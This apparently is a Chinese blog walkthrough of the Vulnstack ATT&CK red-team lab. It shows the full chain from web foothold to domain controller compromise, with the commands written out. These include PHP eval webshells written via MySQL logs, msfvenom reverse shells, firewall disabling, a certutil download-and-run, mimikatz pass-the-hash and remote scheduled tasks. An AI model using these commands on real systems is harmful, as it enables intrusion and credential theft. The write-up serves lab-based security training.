ATK&CK紅隊評估實戰靶場(一)的搭建和模擬攻擊過程全過程
0x01 前言
本靶機環境是紅日團隊開源的一個紅隊實戰測試環境,靶機下載地址如下:
http://vulnstack.qiyuanxuetang.net/vuln/detail/2/
通過模擬真實環境搭建的漏洞靶場,完全模擬ATK&CK攻擊鏈路進行搭建,形成完整個閉環。虛擬機默認密碼為hongrisec@2019。
0x02 環境搭建
本次環境搭建和靶機默認有些區別,我是在一台服務器的虛擬機上搭建的,服務器資源足夠,為了避免運行卡頓,攻擊機Kali也是在虛擬機上,具體配置如下,Kali虛擬機、WEB服務器win7外網網卡和宿主機橋接,和辦公終端都是連到同一個局域網中。
WEB服務器:windows7系統
外網網卡IP:192.168.1.102
內網網卡IP:192.168.52.143
域成員:windows server 2003系統
網卡IP:192.168.52.141
域控服務器:windows server 2008系統
網卡IP:192.168.52.138
攻擊機器:kali 2020.2
kali IP:192.168.1.101
宿主機IP:windows server 2008系統
IP:192.168.1.111
安裝CobaltStrike服務器
IP:192.168.1.236
搭建靶機環境拓撲圖如下:
模擬攻擊示意圖如下:
0x03 攻入內網
3.1. 信息收集
3.1.1 主機探測
netdiscover -i eth0 -r 192.168.1.0/24
3.1.2 端口掃描
發現IP192.168.1.102,使用nmap探測端口開放情況(注意需要現在win7主機運行PhpStudy)
nmap -sC -v -n -sV -Pn -p 1-65535 192.168.1.102
發現80端口開啟,訪問頁面http://192.168.1.102/
發現頁面如下,存在大量信息泄露,收集有效信息。
3.1.3 目錄掃描
使用7kbscan-WebPathBrute目錄掃描工具開展漏洞掃描
發現網站備份文件和phpadmin后台管理界面
打開備份文件發現網站源碼,打開robots.txt發現網站CMS為yxcms,訪問http://192.168.1.102/yxcms
進入網站首頁
3.2. 漏洞利用
3.2.1 漏洞發現
3.2.1.1 漏洞一:信息泄露+弱口令
網站泄露后台地址和用戶密碼,且用戶密碼為弱口令
成功登錄網站后台界面
3.2.1.2 漏洞二:PhpMyAdmin弱口令
發現使用默認用戶名/口令(root/root)成功登錄PhpMyAdmin管理頁面
3.2.1.3 漏洞三:yxcms留言本XSS存儲型漏洞
前台提交帶有XSS代碼的留言
后台審核成功彈出XSS彈窗
審核通過之后,前台同樣成功彈窗
可通過該漏洞獲取管理員cookie或者誘導管理員點擊執行某惡意代碼
3.2.1.4 漏洞四:yxcms后台任意文件讀寫漏洞
在后台創建新模板模塊創建內容為一句話的新模板
通過前面的備份文件可知文件保存的目錄http://192.168.1.102/yxcms/protected/apps/default/view/default/hack.php
使用蟻劍成功連接shell
3.2.1.5 漏洞五:yxcms后台SQL注入漏洞
在后台的碎片列表中進行刪除操作,刪除碎片ID可能存在盲注漏洞,使用dnslog獲取SQL注入得到數據。
yxcms漏洞代碼原理解析參考文章https://www.freebuf.com/column/162886.html
3.2.1.6 漏洞六:PhpMyAdmin開啟全局日志getshell
首先測試是否可以使用select into outfile直接寫入
Select '<?php eval($_POST[hack]);?> ' into outfile 'C:/phpStudy/WWW/hack.php'
寫入失敗, show global variables like ‘%secure%’
查看變量secure-file-priv 值為NULL,且為只讀無法修改。
嘗試使用全局日志寫入shell,查看全局變量general_log:show global variables like ‘%general_%’
開啟全局日志並修改日志保存位置為C:/phpStudy/WWW/hack.php
set global general_log=on;
set global general_log_file='C:/phpStudy/WWW/hack.php';
查詢一句話寫入日志Select '<?php eval($_POST[hack]);?>'
使用蟻劍連接一句話木馬http://192.168.1.102/hack.php
3.3 CS上線GetShell
CS客戶端服務端都部署在192.168.1.236主機上,創建監聽並生成powershell
時間反應比較慢,建議多執行幾次並等一會
提權成功
3.4 系統信息收集
查看網卡
發現內網ip地址192.168.52.143和域god.org,查看域信息
net group /domain #查看域內所有用戶列表
net group “domain computers” /domain #查看域成員計算機列表
net group “domain admins” /domain #查看域管理員用戶
本機計算機名字為STU1,另外還有兩個域用戶分別是DEV1、ROOT-TVI862UBEH、域控制用戶為OWA
3.5 主機密碼收集
獲取系統用戶名和密碼
3.6 遠程桌面登錄
遠程開啟3389端口並關閉防火牆
注冊表開啟3389端口
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
關閉防火牆
netsh firewall set opmode disable #winsows server 2003 之前
netsh advfirewall set allprofiles state off #winsows server 2003 之后
這個時候防火牆是開啟,我們需要關閉防火牆,使用域用戶god\administrator/hongrisec@2020成功登錄這一台win7WEB主機
0x04 內網信息收集
4.1 域信息收集
前面收集到的信息Win7計算機名字為STU1,另外還有兩個域用戶分別是DEV1、ROOT-TVI862UBEH、域控制用戶為OWA
win7內網的IP地址為192.168.52.143
進一步開始收集,通過Ladon 192.168.52.0/24 OnlinePC探測域內存活主機
域成員:192.168.52.141
域控DC:192.168.52.138
4.5 內網漏洞掃描
前期我們獲取到win7的遠程桌面也可以通過遠程發現win7主機上安裝了nmap工具,我們可以進一步針對192.168.52.0/24內網網段進行漏洞信息收集
nmap --script-vlun -p 1-65535 192.168.52.141
nmap --script-vlun -p 1-65535 192.168.52.138
也可以自己上傳工具開展信息漏洞收集工作,我們使用上傳的Ladon工具
發現192.168.1.141存在漏洞:MS08-067、MS17-010,192.168.1.138存在MS17-010漏洞。
攻擊思路:
1、我們可以直接全部使用MS17-010獲取域成員和域控主機;
2、使用MS08-067獲取域成員主機,然后使用橫向移動【VMI利用】獲取域控主機
0x05 橫向滲透
5.1 MSF反彈shell
這里我們使用Kali的msf先反彈一個shell
#生成反彈shell文件
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.1.101 LPORT=4444 -f raw > shell.php
#在本機中設置監聽
msfconsloe
use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set lhost 192.168.1.101
set lport 4444
run
然后使用蟻劍上傳shell.php,並訪問
5.2 內網流量轉發(MSF+proxychains)
參考文章https://www.freebuf.com/articles/network/125278.html
成功獲取msf反彈shell,添加路由到目標環境網絡,使得msf能夠通過win7路由轉發訪問192.168.25.0/24網段
#查看路由信息
run get_local_subnets
#添加一條路由
run autoroute -s 192.168.52.0/24
使用msf的socks4代理模塊
文本編輯器修改etc/proxychains.conf
,在最后一行加上socks4代理服務器
[ProxyList]
socks4 192.168.1.101 1080
使用proxychains代理nmap掃描主機
5.3 MS08-067 搭配Bind TCP
由於沒有定義雙向路由,目標系統無法直接連接到攻擊機,所以我們需要將Bind_tcp設置為payload類型,在exploit操作成功之后,就要對連接到目標系統的端口進行監聽,兩者區別如下:
完整設置如下:
成功獲取域成員192.168.1.141的shell
5.4 MS17-010獲取域控服務器
我們同樣可以使用MS17-010獲取域服務器和域控服務器權限,這里我們直接攻擊域控服務器
使用exploit/windows/smb/ms17_010_eternalblue
攻擊流程如下:
獲取失敗,使用
use exploit/windows/smb/ms17_010_psexec
set payload windows/meterpreter/blind_tcp
攻擊流程如下
仍然無法有效獲取會話
5.5 WMI獲取域控服務器
上傳vmiexec.vbs到192.168.52.143(win7)機器上,然后執行
cscript.exe vmiexec.vbs /cmd 192.168.52.138 administrator hongrisec@2020 "whoami"
或者直接使用之前上傳的Ladom工具執行ladom wmiexec 192.168.52.138 administrator hongrisec@2020 whoami
同上面的過程一樣,我們需要獲取一個正向的msf連接,過程如下:
首先生成一個正向的exe文件放到win7的網站目錄上
在win7上查看
在win7上使用WMI執行命令certutil.exe -urlcache -split -f http://192.168.52.143/6666.exe&6666.exe
成功執行,這時候在138機器(DC—win2008)上開啟6666端口監聽
然后我們在msf上個運行blin_tcp來獲取回話
忘記改端口了,修改端口為6666
成功獲取域控權限,后續提權,可以使用msf mimikatz進一步獲取用戶密碼等。(msf連接過程中保持內網流量轉發:步驟5.2,如果無法獲取會話在kali上掃描138主機6666端口是否開放,如果沒有開放參考3.6,同樣使用vmi命令關閉防火牆后重,我使用的是之前上傳的K8大神的Lodan工具,是因為vbs腳本一直沒有回顯,后來重啟win2008域控服務器才有回顯)
下一步開始提權,嘗試多種提權方法均失敗
然后上網查看資料,使用CVE-2018-8120來提權,直接文件上傳upload CVE-2018-8120-master提權程序
成功提權,上免殺mimikatz
用戶所有密碼都會保存在mz.log文件中,可以直接type mz.log查看
5.6 票據加計划任務獲取DC
這是博客ATT&CK紅隊評估實戰靶場(一)的獲取域控方法,感覺太過復雜,本人沒有嘗試,這里也放在這里供大家參考。
mimikatz sekurlsa::pth /domain:god.org /user:administrator /ntlm:81be2f80d568100549beac645d6a7141
shell dir \192.168.52.138\c$ //dir DC的目錄
生成一個exe馬
這里用windows/reverse_bind_tcp LHOST=0.0.0.0 LPORT=7777 生成正向的馬 yukong.exe
把馬復制到域控機器上shell copy C:\yukong.exe \192.168.52.138\c$
然后再用這個寫入計划任務的方法去連接,這里馬反彈會連不成功,所以
shell schtasks /create /tn "test" /tr C:\yukong.exe /sc once /st 22:14 /S 192.168.52.138 /RU System /u administrator /p "hongrisec@2020"
掛着win7代理 proxy nc -vv 192.168.52.138 7777 即可彈回DC138的shell
用Meterpreter的馬也可以,之前失敗了,后續還是改成meterpreter的馬,或者把普通shell再升級成meterpreter再導入cs也可以
馬上線之后清除計划任務schtasks /delete /s 192.168.52.138 /tn "test" /f
0x06 后記
當然最后獲取域控權限的方法還有好多,向pth攻擊、橫向哈希傳遞、redis等等,還有后續的痕跡清理日志清楚都沒有涉及,經過這一次充分認識到自己的不足,還需要多加學習,有些地方自己還是沒有完全弄明白,只是完全參考網絡上的大神們的教程,文中有錯漏的地方希望大家多多包含,我只是用了我覺得最簡單的思路進行攻擊,更復雜的沒有涉及,希望以后能多多練習這樣的靶機學習更牛的技能,最后謝謝紅日團隊給出的這個靶機,后續還有一系列靶機,有時間會慢慢逐個嘗試。